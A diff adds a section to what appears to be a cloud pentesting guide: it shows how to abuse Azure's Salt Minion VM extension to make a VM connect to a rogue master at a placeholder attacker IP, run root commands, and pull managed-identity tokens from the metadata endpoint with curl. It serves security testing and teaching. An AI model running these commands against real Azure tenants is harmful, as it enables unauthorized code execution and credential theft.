Azure VM Command Execution Using Third-Party Extensions – Sa...

src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md

@@ -97,6 +97,61 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
 {{#endtab }}
 {{#endtabs }}
 
+
+#### Rogue Salt Master via Salt Minion
+
+A less noisy alternative is to deploy a **legitimate third-party extension** and make the VM call back to attacker infrastructure. The Salt Minion extension (`turtletraction.oss/salt-minion.linux` or `turtletraction.oss/salt-minion.windows`) installs a minion that initiates **outbound** connections to the configured master over **TCP 4505/4506**, so the attacker doesn't need SSH, RDP, local credentials, or inbound access to the VM. After the minion key is accepted on the rogue master, the master can push states or directly execute commands. In Linux VMs this commonly results in **root** command execution.
+
+{{#tabs }}
+{{#tab name="Linux" }}
+
+```bash
+az vm extension set \
+  --resource-group <rsc-group> \
+  --vm-name <vm-name> \
+  --name salt-minion.linux \
+  --publisher turtletraction.oss \
+  --version 1.1.0.0 \
+  --settings '{
+    "master_address": "<attacker-ip>",
+    "minion_id": "azvm"
+  }'
+```
+
+{{#endtab }}
+{{#tab name="Windows" }}
+
+```bash
+az vm extension set \
+  --resource-group <rsc-group> \
+  --vm-name <vm-name> \
+  --name salt-minion.windows \
+  --publisher turtletraction.oss \
+  --version 1.1.0.0 \
+  --settings '{
+    "master_address": "<attacker-ip>",
+    "minion_id": "azvm-win"
+  }'
+```
+
+{{#endtab }}
+{{#endtabs }}
+
+Once the minion checks in, accept its key from the rogue master and push a state or a direct command:
+
+```bash
+salt-key -L
+salt-key -a azvm
+salt 'azvm' state.apply <state-name>
+salt 'azvm' cmd.run 'whoami && id'
+```
+
+Because the command runs **inside** the guest, this is also a convenient path to steal tokens from attached managed identities through IMDS:
+
+```bash
+salt 'azvm' cmd.run 'curl -s -H "Metadata: true" --noproxy "*" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"'
+```
+
 It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs:
 
 <details>
@@ -524,4 +579,11 @@ az vm disk attach \
 
 According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs...
 
+
+## References
+
+- [Azure VM Command Execution Using Third-Party Extensions – Salt Minion](https://netspi.com/blog/technical-blog/cloud-pentesting/azure-vm-command-execution-using-third-party-extensions-part-2)
+- [Install Salt Minion on Linux or Windows VMs using the VM Extension](https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/salt-minion)
+- [Azure Instance Metadata Service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)
+
 {{#include ../../../banners/hacktricks-training.md}}